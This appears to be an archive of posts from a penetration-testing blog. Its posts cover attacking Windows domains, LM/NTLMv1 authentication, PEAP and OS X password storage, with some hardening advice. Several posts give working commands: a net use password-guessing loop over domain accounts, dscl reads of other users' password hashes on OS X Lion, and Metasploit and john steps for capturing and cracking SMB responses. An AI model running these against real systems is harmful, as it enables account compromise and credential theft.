Defence in Depth

Exploiting the Windows Domain

2012-05-22T06:43:00.000-07:00

A common recommendation I often come across is that Internet-facing systems should not be a part of an active Windows domain. As an exercise of interest, I have decided to look at this topic a little deeper and explore what advantage (if any) access to a domain member really provides.

In this scenario I will demonstrate how to gain privilege within a Windows domain using only the tools available on a default Windows install. I will be working under the assumption that:

I have access to a public terminal (or something similar) with up-to-date anti-virus.
I do not have administrative access on the host.
I do not have access to any third-party tools.

Once connected to a Windows workstation, the first piece of information I want to find is the domain namespace. This can be done a couple of different ways:

nbtstat –A <IP-Address>

net config workstation

Next, because I am working from a domain member, I can query the domain controller and check whether it’s aware of any additional domains:

net view /domain

*Note: It is often advantageous to target other domains such as those used for testing and development. These environments will often contain hosts where less emphasis is placed on security.

Next I am interested in knowing what hosts exist on the domain. For this, I can query the domain controller:

net view /domain:<DOM> > hosts.txt

Depending on the size of the network this listing can get quite large. I have redirected the output into a text file to prevent continually query the domain controller.

*Note: This command will not typically respond with every Windows host on the network. Only hosts available via NETBIOS are known to the domain controller.

Because I’m on a Windows domain, I can be fairly certain some machines will have file sharing turned on. Large networks are often host to a myriad of file shares with “interesting” data on them. It’s not uncommon to find personally identifiable information or even login credentials sitting on workstation or server shares.

To obtain a list of systems with active shares I can query each domain member by using:

for /f %i in (hosts.txt) do @(net view \\%i >> shares.txt 2>nul)

This command will loop over the file containing the domain members (obtained from the previous command) and query each host for open shares. Any errors (i.e. inaccessible systems) are discarded.

As previously mentioned, in some cases you may get lucky and find exactly what you’re looking for within these shares. For the sake of this exercise, however, let’s assume there was nothing interesting found.

Next I am interested in what users and groups exist on the domain. The goal here is to elevate my privileges on the domain (remember, I only have ‘User’ rights on one system thus far). To obtain a list of domain users and groups I can query the domain controller as follows:

net user /domain > users.txt

net group /domain > groups.txt

Once this information is gathered I want to look for “interesting” user accounts. Usernames containing the words “temp”, “test”, “tst”, “tmp”, "helpdesk", "ftp" are all of interest here as testing and temporary accounts often have simple passwords.

type users.txt | find “test”

If there are no stand-out usernames in the list above I can direct my efforts on querying the groups:

type groups.txt | find “helpdesk”

The domain controller can then be queried to dump the users belonging to that group:

net group “helpdesk” /domain

*NOTE: I have chosen to target non-administrative accounts here as they typically have weaker passwords. However, it is certainly not unheard of to have weak passwords on account belonging to “Domain Admins”. Always worth checking :)

Having chosen a number of domain users to target I can now attempt to compromise these accounts through password guessing. I can accomplish this through SMB connection attempts against a host on the domain. Which host I choose here doesn’t matter as authentication occurs against the domain controller and not the host itself.

for /f %i in (users.txt) do @(for /f %j in (passwords.txt) do @(echo Trying %i:%j... >> success.txt && net use \\wombat /u:%i %j 1>>success.txt && net use \\wombat /del))

This script will loop over a list of targeted usernames (in users.txt) and try simple password attempts against each account from the passwords.txt file. Success.txt will keep a log of successful password guesses. Keep in mind here I am only targeting the low hanging fruit. Only a few passwords are being attempted for each account as to not lock out any accounts.

With a small adaptation this script I can choose to target every account in the entire domain:

for /f %i in (users.txt) do @( echo Trying %i:%j... >> success.txt && net use \\wombat /u:%i %i 1>>success.txt && net use \\wombat /del)

Here I am scanning the entire domain for accounts that use their username as their password. This is sometimes known as a horizontal password scan.

The benefits of horizontal scanning become apparent in environments with a large user base. An increase in the number of accounts often improves the chances of discovering an account with a weak password. The chance of locking out an account is also significantly decreased as only a small number of password guesses are attempted against each account.

The above script could also be tweaked to guess the password of the default local administrative account (RID 500) on the current machine. Providing this account is active, it cannot be locked out (meaning infinite password guesses).

Once credentials have been acquired for a domain account the next step is to find out what access the account has. Indeed, it may be the case that only a particular service on a particular host is accessible from the captured account.

The next step in this process is to find out what services are available on the domain. This would be quite simple with nmap... but remember, we don’t have access to any third-party tools! To get around this I have adapted Ed Skoudis’ FTP command line port scanner:

for /f %i in (hosts.txt) do @(for /f %j in (ports.txt) do @(echo Checking %i:%j... & echo %i:%j >> success.txt & echo open %i %j > commands.txt & echo quit >> commands.txt & ftp -n -s:commands.txt 1>>success.txt))

This script attempts to make a connection to each port in ports.txt (I've chose 21\ftp) for every domain member in hosts.txt (found at the beginning of this exercise). It uses the built-in Windows FTP client to read in commands (-s flag) from commands.txt to make each connection. Logging information is stored in success.txt.

Once the available network services have been mapped I can then attempt to exploit / gain access to these services:

In this post I have demonstrated several examples of how domain membership can be abused to gain privilege on a Windows' domain. Due to the inherent verbose nature of Windows’ domains, attackers have the advantage of gaining valuable information about a target network in a relatively short period of time. That said, however, a skilled attacker always has (and always will) be able to penetrate a network’s defences regardless of having domain membership or not.

Book Review: The Oracle Hacker's Handbook

2011-12-03T06:19:00.001-08:00

Due to the proprietary nature of the Oracle beast, offensive security information relating to Oracle databases is difficult to obtain at the best of times. Where this information is available, it’s usually in dribs and drabs and rarely consolidated. The Oracle Hacker’s Handbook is one reference which aims to fill this gap.

The Oracle Hacker’s Handbook (TOHH) is written by one of the foremost respected commentators on Oracle database security, David Litchfield. The book is comprised of 12 chapters, each containing a myriad of attack methods and exploit examples on how to compromise Oracle databases. Whilst this book is certainly great as a reference guide, I feel several shortcomings make this book fall well short of the Oracle hackers “bible”.

The biggest issue I have with this book is the lack of background information for certain topics. One such example can be seen in chapter 7 Indirect Privilege Escalation. By the end of this chapter, one would expect the reader to have the knowledge and skills to perform some type of privilege escalation within a database. However, due to the lack of background knowledge given in proceeding chapters, it would be very difficult for someone to mimic any of the attacks described. I will discuss three such examples from chapter 7.

The first method given to escalate privileges uses an account which has access to particular privileges and a particular trigger on the system. The author introduces the chapter by providing a scenario whereby you (the reader) have an account with this privilege and trigger. The problem: nowhere in the book does it describe how one can list privileges or triggers for a particular user. Without this, it is not possible to mimic the method described.

Following on from this, the reader is told they need to determine all DBA accounts on the system and which tables/views they own. However, nowhere does the book provide any information on how to accomplish this.

The final paragraph begins with “We’ve found an SQL injection flaw in a package owned by a user who has very few privileges.” However, at no point in this book is there any information on how to view the privileges of other accounts, how to find/look through packages, or how to see who owns a particular package – all paramount to achieving this attack vector.

This theme continues throughout the book.

Another major gripe I have with this book is that the author omits key information in certain chapters and instead refers the reader to his other book (The Database Hackers Handbook). I found this particularly frustrating considering I bought this book under the impression I was buying a complete Oracle reference. Unfortunately, it falls well short of this.

Published in 2007, TOHH covered all major flavors of Oracle (7, 8i, 9i and 10g) which were then popular. At the time of publishing the author also released code for vulnerabilities that had not yet been seen. However, four years on and most (if not all) of these vulnerabilities have since been patched and versions of Oracle prior to 10gR2 are seldom seen. With 11g having been around since 2007, TOHH I fear is quickly becoming antiquated.

From a penetration tester’s perspective, I (initially) found this book a difficult read. I feel with large gaps in introductory topics that many of the attacks described will be lost on beginners. The best suited audience I feel for this book is an Oracle DBA who is interested in learning about offensive security methods. Someone well versed in Oracle databases would certainly find this book an interesting read.

Based on what I had read about this book my expectations were quite high. Many people I respect in the industry have endorsed this book and the author is very well respected on these topics. I think this is a good book to have on the shelf as a reference but it should certainly be supplemented with other readings and materials. If you are new to Oracle I would recommend covering the basics before delving into this book. Because resources that consolidate offensive Oracle security information are few and far between, this book certainly has a place on anyone’s bookshelf who is concerned with Oracle database security.

3.5/5

Cracking OS X Lion Passwords

2011-09-18T06:07:00.000-07:00

UPDATE [2011-10-15]:
The issues described in this post have now been resolved by Apple. Users running OS X Lion 10.7.2 or security update 2011-006 are no longer affected by the vulnerabilities detailed below (CVE-2011-3435 and CVE-2011-3436). For further details on this security update please see Apple's advisory.

In 2009 I posted an article on Cracking Mac OS X passwords. Whilst this post has been quite popular, it was written for OS X 10.6 and prior. Since the release of Mac OS X Lion (10.7) in July, I have received numerous requests for an update. Typically, I would have just updated the existing article without the need for a new post. However, during my research I discovered something interesting about OS X Lion that I'd like to share.

In previous versions of OS X (10.6, 10.5, 10.4) the process to extract user password hashes has been the same: obtain the user's GeneratedUID and then use that ID to extract hashes from a specific user's shadow file (See my previous post for a more detailed description).

When it comes to Lion, the general premise is the same (albeit a few technical differences). Each user has their own shadow file, with each shadow file stored under a .plist file located in /var/db/dslocal/nodes/Default/users/.

The interesting thing when it comes to Lion's implementation, however, is privilege. As mentioned above, all OS X versions are using shadow files. For the unfamiliar, a shadow file is that which can only be accessed by users with a high privilege (typically root). So for all modern OS X platforms (Tiger, Leopard, Snow Leopard and Lion) each user has their own shadow file (hash database) whose data is accessible only by the root user… or at least it should be.

It appears in the redesign of OS X Lion's authentication scheme a critical step has been overlooked. Whilst non-root users are unable to access the shadow files directly, Lion actually provides non-root users the ability to still view password hash data. This is accomplished by extracting the data straight from Directory Services.

If we invoke a a directory services listing on user bob by specifying the /Local/ path we can see bob's standard profile information:

$ dscl localhost -read /Local/Default/Users/bob

This provides us with nothing too exciting. However, if we invoke the directory services listing using the /Search/ path, we see a different result:

$ dscl localhost -read /Search/Users/bob

From the output, we can see the following data:

dsAttrTypeNative:ShadowHashData:

62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72 3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060

Note: The SHA512 hash is stored from bytes 32-96 (green) and the salt is stored from bytes 28-31(red). For more information on these hashes please see this thread.

This ShadowHashData attribute actually contains the same hash stored in user bob's shadow .plist file. The interesting thing about this? root privileges are not required. All users on the system, regardless of privilege, have the ability to access the ShadowHashData attribute from any other user's profile.

Due to Lions relatively short time on the market, I am yet to find any of the major crackers supporting OS X Lion hashes (SHA512 + 4-byte salt). To simplify the cracking of these hashes I have created a simple python script which can be downloaded here.

Now, if the password is not found by the dictionary file you're out of luck, right? Well, no! Why crack hashes when you can just change the password directly! It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:

$ dscl localhost -passwd /Search/Users/bob

And voilà! You will be prompted to enter a new password without the need to authenticate.

There has been some conjecture surrounding the severity of these attacks. Whilst the ability to change the currently active user’s password is not a privilege escalation flaw per se, it can under some circumstances be used for these purposes. Allow me to provide a scenario:

A user with administrative rights is browsing the internet with Safari. The user happens to browse to a website hosting a malicious Java Applet. Unbeknownst to the user, they allow the innocent looking Java Applet to run. The Applet will proceed to make a connection back to the attacker, providing the attacker with full shell access. Whilst the attacker has access to the system, they are provided only with limited user privileges (they still do not have root access). This would limit what an attacker could accomplish. However, with the vulnerabilities described above the attacker now has an advantage: they can change the password of the current user. Now remember, the current user is an administrator. So now all the attacker has to do is sudo –s to become root. If lets say the victim did not have administrative rights, the attacker still has the ability to extract user hashes from the system and attempt to crack them.

As a temporary measure to mitigate these attacks (before Apple release a patch), it is recommended to limit standard access to the dscl utility. The can be done as follows:

$ sudo chmod 100 /usr/bin/dscl

Attacking LM/NTLMv1 Challenge/Response Authentication

2011-04-21T06:32:00.001-07:00

In Part 1 of the “LM/NTLMv1 Challenge/Response Authentication” series I discussed how both the LANMAN/NTLMv1 protocols operate and the weaknesses that plague these protocols. In this post I will demonstrate how attackers leverage these weaknesses to exploit the LANMAN/NTLMv1 protocols in order to compromise user credentials.

For the remainder of this article I will be focusing on attacking the SMB protocol (Windows file sharing) as this is where LANMAN/NTLMv1 is most commonly used.

Capturing the Response

In order to capture a client’s LANMAN/NTLMv1 response, attackers will often utilise one of two methods:

Force the client host to connect to them
Conduct a man-in-the-middle (MITM) attack and “sniff” the client’s response

To demonstrate these methods, I will be using the Metasploit Framework or Cain and Abel respectively.

Metasploit

In order for a client host to connect to us, we first need to create a listening SMB service that will accept incoming connections. Fortunately, the Metasploit Framework has already provided us with a module to do this :)

1. Fire up Metasploit

2. Load the SMB server module

msf > use auxiliary/server/capture/smb

3. Set the server host address

msf > set srvhost x.x.x.x

4. Run the module

msf > run

Now that we have a listening SMB service, all that is needed is for a victim to connect to our machine. By calling “info” on the SMB server module, the module’s description explains “The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message.”

A successful capture will look something like this:

Cain and Abel

The second method we can use to capture a client’s response is by conducting a MITM attack using Cain.

1. Start Cain’s sniffer

2. In the “Sniffer” tab, select the “Plus” icon and choose the hosts victims to poison.

3. Activate Cain’s ARP Poison Routing feature

4. Select the bottom “Passwords” tab and wait for the client’s response to appear in the left pane under “SMB”.

Cracking the Response

Three approaches are often referenced when cracking a LANMAN/NTLMv1 response:

Rainbow Tables
Dictionary Attack
Brute Force

All of these methods use what is known as the “known challenge attack” technique. In order to crack the LANMAN/NTLMv1 response we are exploiting the fact that the only randomness (or entropy) that makes the LANMAN/NTLMv1 response unique every time is the challenge sent by the Server. As the attacker is always the Server, we can send the client a static challenge. This effectively defeats any randomness in the protocol. Because we now know what the challenge will be every single time, we can effectively crack the LANMAN/NTLMv1 response as if it were a static response.

Note: It is common practice to use \x11\x22\x33\x44\x55\x66\x77\x88 as the static challenge.

Before we look at each of these methods it should be noted that LANMAN responses are only configured on Windows XP and Server 2003 system (by default). Windows 7, Vista and Server 2008 systems are configured to utilise NTLMv2 by default.

A simple test to check which protocol is currently in use is to see if the LM Hash and NT Hash are different in the capture logs. A difference in these hashes would indicate LANMAN is in in use. If these hashes are the same, LANMAN is disabled and NTMLv1 is in use.

1. Rainbow Tables

As you would remember from Part 1 of this series, the difference between LANMAN challenge/response and NTLMv1 is that the former uses the locally stored LM Hash whilst the latter uses the locally stored NT Hash. This fundamental difference makes a substantial difference when it comes to cracking the LANMAN response. Because LANMAN utilises the weaker LM hashing algorithm, an attacker can trivially obtain the plain-text of a LANMAN response within minutes.

The quickest approach to cracking the LANMAN response is by using rainbow tables. Due to the nature of the LM Hash, rainbow tables are very effective against this hash type. The rainbow tables necessary for this exercise are called “halflmchall” and can be found here. To use these rainbow tables the rcracki_md tool will need to be downloaded.

The following rcracki command will inflate the rainbow table chains and attempt to find the plaintext password for the LANMAN response:

> rcracki_mt.exe –h b4dfbf8fa9eaac3 "C:\rainbowtables\*.rti”

Note: We are only cracking the first 8 bytes of the captured LANMAN response. Due to the nature of the LM Hash, we are only able to use rainbow tables on the first portion of the LANMAN response. The rest we will have to use brute-force.

A successful result will look like this:

The remaining characters we can brute force using the Metasploit “halflm_second.rb” script. This can be found in the “tools” directory in the root Metasploit directory. The script is run as follows:

# ruby halflm_second.rb –n 5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896 –p ADMINIS

Where –n is the LANMAN response and –p is the discovered plaintext.

Whilst it is possible to crack an NTLMv1 response using rainbow tables, I have yet to come across any that have been pre-computed. Due to the nature of NT Hashes, NTLMv1 rainbow tables would be far more time consuming to generate and require large amounts of disk space.

2. Dictionary Attack

The second method often used to crack LAMNAM/NTLMv1 responses is a dictionary attack.

I will demonstrate the dictionary attack using two common tools:

John the Ripper
Cain and Abel

John the Ripper

The following syntax is used to mount a dictionary attack against LANMAN responses:

# ./john –format:netlm /tmp/capture.txt

Where capture.txt is the file containing the LANMAN response. The format of capture file must be as follows:

test::home:5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896:44c1bf5f64fbd2109461da1ca8518e75b67a4116c2351679:1122334455667788

Where test is the username, home is the workgroup/domain, the first hash is the LM Hash, the second hash is the NT Hash and the final value is the challenge.

To use john against NTLMv1 specify netntlm with the -format flag.

Cain and Abel

If Cain was used to sniff the capture, right click on the entry and select “Send to Cracker”.

In the “Cracker” tab, right click on the entry and choose your appropriate option from the “Dictionary Attack” menu option.

Note: For a list of dictionary files see my post on wordlists.

If you did not capture the response using Cain, and are importing a capture file, the file must be in the following format:

user:workgroup-or-domain:challenge:LMHash:NTHash

3. Brute Force

Whilst crude, brute-forcing can be effective against weaker passwords.

To brute-force in Cain, follow the steps detailed above and select “Brute-Force Attack” from the menu item.

For the sake of brevity, I will not go into how John the Ripper can brute-force hashes. This is quite a lengthy topic in itself. Further reading on this topic can be found using Google.

LM/NTLMv1 Challenge/Response Authentication Explained

2011-04-20T01:18:00.001-07:00

The Microsoft Windows platform uses a myriad of protocols to authenticate users across a network. Two such protocols widely in use today are the LANMAN challenge/response and NTLMv1 protocols. Whilst newer, more secure protocols (such as NTLMv2) are ready to take their place, LANMAN challenge/response and NTLMv1 are still widely deployed today for reasons of interoperability. As with most things Microsoft-related, ubiquity often equates to exploitability.

In this two part series I will discuss how the LANMAN challenge/response and NTLMv1 protocols operate, how malicious users can take advantage of their shortcomings, and best practice recommendations for securely deploying these protocols.

Microsoft Windows supports two primary algorithms for locally authenticating users. These algorithms generate what’s known as an “LM Hash” or an “NT Hash”.

Enabled by default in Windows NT, 2000, XP, and Server 2003, the LM Hash has become synonymous with bad hashing practices over the years. Used for backward compatibility, this older hashing method has several inherit flaws, making it trivial for attackers to crack LM Hashes within minutes.

The second, more secure, hashing algorithm generates what’s known as an NT Hash. Exclusively on by default in Windows Vista, 7, and Server 2008, this hash is generated using the MD4 hashing algorithm.

Note: By default, Windows XP stores both the LM Hash and the NT Hash.

Whilst this reading does not require a technical understanding of how the NT Hash and the LM Hash are generated, some readers may like to broaden their understanding of how these hashes are generated. The following paper provides an in depth discussion on the topic.

Before we begin looking at the Microsoft network authentication protocols, it is important to note that LANMAN challenge/response and NTLMv1 are the same protocol except for one key difference: LANMAN challenge/response utilises the locally stored “LM Hash” whilst NTLMv1 uses the locally stored “NT Hash”. Aside from this, the protocols (for all intensive purposes) operate exactly the same way.

The LANMAN challenge/response and NTLMv1 protocols authenticate users in the following manner:

1. Client sends an authentication request to the Server.
2. A protocol negotiation occurs between the Client and Server.
3. The Server sends the Client a (pseudo-random) 8-byte challenge.
4. The Client sends a 24-byte response.
5. The Server authenticates the Client.

The Client’s response is made up of the following steps:

Split the locally stored 16-byte hash (LM Hash for LANMAN challenge/response or NT Hash for NTLMv1) into three 7-byte portions.
Using the DES encryption algorithm, encrypt the Server’s challenge three separate times using each of the keys derived in Step 1.
Concatenate the response of all three outputs.

Now, at first glance this protocol seems fairly sensible. But you may have noticed something in Step 1 of the Client’s response. If the hash (LM or NT) is 16-bytes long, how do we break it up into three 7-byte portions? i.e. 7 does not divide into 16 evenly.

To combat this unevenness, the LANMAN and NTLMv1 algorithms pad the third key with 5 nulls. By doing this, we now have three evenly portioned keys.

So, the response process in its entirety looks something like this:

Now that we have an understanding of how the LANMAN challenge/response and NTLMv1 protocols work, let’s take a look at some of the deficiencies these protocols inherit.

There is no “diffusion” within the protocol. That is, there are three separate parts to the response that could individually be attacked. Diffusion would ensure each part of the DES output relied on the previous – increasing the overall complexity.
DES is old and considered cryptographically weak by many.
The third DES key is weak. As the third DES key is padded with 5 nulls, there are only 2^16 possible unknown values. This would take a modern computer seconds to crack.
There is a lack of randomness. The only randomness occurring within the algorithm is that provided by the pseudo-random challenge generated by the client.

In Part 2 of this series I will demonstrate how attackers can take advantage of the aforementioned deficiencies in the LANMAN challenge/response and NTLMv1 protocols.

Internet Explorer 0-Day: CVE-2010-3971

2011-01-03T17:08:00.000-08:00

On December 22, 2010 Microsoft released an advisory stating that they are “...investigating new, public reports of targeted attacks attempting to exploit a vulnerability in all supported versions of Internet Explorer.” The vulnerability in question, CVE-2010-3971, allows attackers to execute arbitrary code in the context of the Internet Explorer application. Failed exploit attempts will result in denial-of-service conditions.

Microsoft states that the vulnerability exists due to “the creation of uninitialized memory during a CSS function within Internet Explorer.” The exploit takes advantage of the Internet Explorer DLL mscorie.dll having not been opted in to support address space layout randomization (ASLR). More details on the exact cause of this vulnerability can be found here.

This vulnerability is currently being exploited in the wild. Metasploit module ms11_xxx_ie_css_import has recently been uploaded to exploit this vulnerability. Offensive Security can be seen demonstrating the exploit here.

Microsoft is currently recommending users download the Enhanced Mitigation Experience Toolkit (MET) and opt-in Internet Explorer to mitigate this vulnerability.

For more details on DEP/ASLR please see the following links:

Attacking and Securing PEAP

2010-05-17T23:12:00.000-07:00

Protected Extensible Authentication Protocol (PEAP) is often regarded as a secure 802.11 wireless authentication protocol. Whilst PEAP has the ability to become a secure protocol it is certainly not without its deficiencies. I thought I would take this opportunity to provide everyone with an overview of the PEAP protocol by examining what it is, how it works, where its shortcomings lie, and how to secure it.

Before we dive into the security concerns surrounding PEAP it is important to know there are currently three versions of the PEAP standard. The version I will be referencing throughout the remainder of this post will be PEAPv0. This is the most common deployment of the PEAP standard.

PEAP is a widely deployed Extensible Authentication Protocol (EAP) type used to securely authenticate users against 802.11 wireless networks. Developed by Microsoft, Cisco and RSA, PEAP has been made popular through its continued support by the Microsoft Windows platform. Unlike other EAP types which have the ability to support a range of inner-authentication methods, PEAP can only authenticate clients using Microsoft’s challenge-handshake authentication protocol known as MS-CHAPv2.

Whilst several deficiencies have been discovered over the years in the MS-CHAPv2 protocol, PEAP overcomes these by protecting the MS-CHAPv2 authentication exchange through the establishment of a transport layer security (TLS) tunnel. Through the use of digital certificates PEAP is able to authenticate users over the MS-CHAPv2 protocol in a secure manner.
The PEAP authentication process can be summarized as follows:

Identity information is exchanged (in plain-text) between the supplicant and authenticator.

A secure TLS tunnel is established via a server side digital certificate.

Identity information is exchanged again within the TLS tunnel using the MS-CHAPv2 inner-authentication method.

The pair-wise master key (PMK) is sent from the Remote Authentication Dial-in User Service (RADIUS) server to the supplicant within the encrypted tunnel.

The PMK is sent from to the RADIUS sever to the access point (AP).

Encryption commences between the supplicant and AP.

Attacking PEAP

There are three main attacks which can be used against the PEAP protocol:

1. Authentication Attack

The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by ‘guessing’ user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts. Whilst a lockout policy will also defend against this type of attack, failed login attempts could trigger a denial of service (DoS) attack on the network.

2. Key Distribution Attack

The key distribution attack exploits a weakness in the RADIUS protocol. Whilst this attack is not specific to PEAP deployments, it is often regarded as the weakest point in an 802.11 PEAP/WPA infrastructure.

The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server’s HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK – allowing full decryption of all traffic between the AP and supplicant.

3. RADIUS Impersonation Attack

The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network’s AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a ‘fake’ certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.

Securing PEAP

In order to secure PEAP deployments from RADIUS impersonation and authentication attacks the following client-side configurations should be deployed:

Ensure the common name (CN) of the RADIUS server’s certificate is defined. This setting will ensure clients only accept certificates that contain the specified CN.

Select only the trusted certificate authority (CA) that will be issuing the certificates. This will prevent attackers from using a certificate with the required CN but signed by a different CA.

By not prompting users to authorize new servers the decision to accept or reject certificates from unidentified RADIUS servers is taken away from the user. This setting will silently drop all requests whose certificate CN does not match that which is specified in Step 1.

By supplying an “anonymous” identity during the initial PEAP identity exchange attackers will be unable to leverage unencrypted usernames. This setting prevents against PEAP authentication attacks. Note: This configuration setting is only available in Windows 7 and above.

To secure PEAP against key distribution attacks it is recommended that RADIUS shared secret is least 16 characters in length, consisting of a mixed-alphanumeric character set. The RADIUS shared secret should also be rotated on a semi-regular basis.

Password Wordlists and Dictionaries

2010-05-04T17:20:00.000-07:00

Password wordlists and dictionaries are an often imperative resource for any password auditing exercise. I thought I would take this opportunity to consolidate a list of wordlists/dictionaries for ease of access. Please feel free to post any resources I have omitted in the comments below.

I will periodically update this post with any new resources I come across.

http://ftp.sunet.se/pub/security/too...all/wordlists/
http://www.skullsecurity.org/wiki/index.php/Passwords
ftp://ftp.ox.ac.uk/pub/wordlists/
http://gdataonline.com/downloads/GDict/
ftp://ftp.openwall.com/pub/wordlists/
ftp://ftp.cerias.purdue.edu/pub/dict/
http://www.indianz.ch/tools/doc/wordlist.zip
http://www.outpost9.com/files/WordLists.html
ftp://ftp.openwall.com/pub/wordlists/passwords/
https://www.securinfos.info/wordlists_dictionnaires.php
ftp://ftp.ox.ac.uk/pub/wordlists/
http://www.lostpassword.com/f/wl/bigdict.zip
http://www.lostpassword.com/f/wl/French.zip
http://www.lostpassword.com/f/wl/Spanish.zip
http://www.lostpassword.com/f/wl/German.zip
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
http://www.cotse.com
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://www.openwall.com/mirrors/
http://gdataonline.com/downloads/GDict/
http://blog.sebastien.raveau.name/search/label/wordlist
http://www.theargon.com/achilles/wordlists/
http://theargon.com/achilles/wordlists/theargonlists/
http://www.insidepro.com/eng/download.shtml
http://www.word-list.com/
http://wordlist.sourceforge.net/

RSA Encryption Broken

2010-03-14T06:30:00.000-07:00

A recent Engadget article made popular through reddit.com and digg.com has (incorrectly) claimed that 1024-bit RSA encryption has been cracked and is no longer secure. I would like to reassure everyone that the RSA algorithm is indeed cryptographically secure, with the Engadget article nothing more than poorly researched journalism.

The research in question, titled Fault-Based Attack of RSA Authentication, actually describes how a private key can be recovered by injecting power faults into a system by manipulating a computer's voltage supply. Vulnerabilities found within both the OpenSSL implementation of RSA and circuit-level vulnerabilities in digital hardware devices have made the attack possible.

Attacks on the hardware and software surrounding private keys are nothing new, however. In 2008, researchers at Princeton University released a paper on the preservation and extraction of encryption keys from random access memory (RAM) through the use of a freezing process. Their research can be seen here.

Whilst interesting, the newly described research is far from world-ending. In order for this attack to be successfuly implemented, both physical access to the target machine and access to a large cluster of machines is required -- leaving this form of an attack with a very limited scope.

The Engadget author foolishly concludes his article by hoping "...RSA [will] hopefully fix the flaw".

Is WPA Secure? - Part 1

2010-02-27T06:02:00.001-08:00

Recently I have noticed quite a bit of conjecture surrounding the Wi-Fi Protected Access (WPA) protocol and its use. With media hysteria now promoting WPA as no longer secure, wireless security has, unfortunately, become another great unknown to many people.

In this three-part series I would like to delve into the WPA protocol and provide a background on its history, how it works and assess whether WPA is indeed insecure. By the end of this series I will have provided a foundation which will hopefully help answer two of the most common questions surrounding the wireless-security space: “Is WPA secure?” and “Should I be using WPA?”.

To be comfortable in understanding the insecurities of the WPA protocol, Part 1 of this series will provide a brief background on 802.11 security.

Designed as a basic security measure to secure 802.11 wireless networks, Wired Equivalent Privacy (WEP) was implemented to provide simple confidentiality to wireless networks. Soon after its inception, weaknesses were being discovered in the WEP protocol. Among these weaknesses were:

key selection weaknesses,
no replay protection,
weak message integrity checking,
no key rotation mechanism,
short initialization vector (IV),
pseudo-random generation algorithm (PRGA) revealed in challenge/response, and
key was reversible from cipher-text.

By 2007, attacking WEP had become so effective that the cracking probability of a 104-bit WEP key was:

50% success after 60 seconds
80% success after 90 seconds
95% success after 128 seconds

Source: Tews, E, Weinmann, R, Pyshkin A 2007, Breaking 104 bit WEP in less than 60 seconds

To combat the deficiencies of the WEP protocol, the Institute of Electrical and Electronics Engineers (IEEE) decided to come up with a new, more secure protocol: WPA. Designed specifically to work within the design constraints of existing WEP hardware, WPA could be adopted with a firmware upgrade to existing WEP-enabled infrastructure.

WPA was able to improve security over its WEP counterpart by implementing the Temporal Key Integrity Protocol (TKIP). Based on the RC4 cryptographic cipher (like WEP), The TKIP algorithm was designed to overcome the security deficiencies discovered in WEP by:

defeating key reuse attacks,
defeating forgery attempts, and
defeating replay attacks.

Whilst these mechanisms would provide consumers with a secure alternative to the broken WEP protocol, the IEEE only intended WPA to have a 5-year life span (1999-2004). This life span would provide organisations with a transitional period for the arrival of WPA's new companion, WPA2.

Requiring a hardware upgrade from old WEP/WPA technologies, WPA2 was based on the 802.11i security specification (which was not yet ratified at the time WPA was introduced). Designed on a completely new encryption protocol, WPA2 implemented a new algorithm known as Counter Mode with Cipher Block Chaining Message Authentication Protocol (CCMP). CCMP offered several enhancements to the TKIP standard, including the use of the AES cryptographic cipher (as opposed to RC4 used in WEP/WPA). WPA2 was also given the ability to utilise the TKIP encryption protocol for backward compatibility.

Note: Vendors will often (incorrectly) refer to WPA2 as WPA2-AES. This would be fine if WPA was referred to as WPA-RC4. For the sake of consistency, I will refer to WPA2 as WPA2-CCMP throughout the remainder of this series.

Apart from brute-force attempts on weak passwords, both WPA-TKIP and WPA2-CCMP have been considered ‘secure’ up until recently. In November 2008 Erik Tews and Martin Beck, researchers at two German University, published a paper that highlighted a weakness in the TKIP algorithm. Their paper demonstrated how plain-text could be recovered from an encrypted WPA network and injected back into that network. Tews and Beck’s attack method was later enhanced by two Japanese researches whose research caused wide-spread panic among information technology (IT) journalists.

In Part 2 of this series we will take a deeper look at how the TKIP protocol works, how TKIP can be attacked, and look at answering the two pertinent questions: “Is WPA secure?” and “Should I be using WPA?”.

Cracking Mac OS X Passwords

2009-12-28T08:04:00.001-08:00

In this post I will demonstrate how to both extract and crack Mac OS X passwords. The OS X variants that this tutorial is aimed at are 10.4 (Tiger), 10.5 (Leopard) and 10.6 (Snow Leopard).

Whilst Mac OS X is based on a Unix variant (BSD), there are several key differences between traditional Unix-based and Mac OS systems when it comes to password storage. Lets take a quick look at some of the differences.

If you have ever poked around on an OS X system, you may have noticed the absence of the /etc/shadow file. Whilst traditional Unix and BSD variants store their password hashes in /etc/shadow and /etc/master.passwd respectively, Mac OS X does not. Since the release of OS X 10.3 in 2003, Macintosh products have stored their shadow files in the /var/db/shadow/hash/ directory.

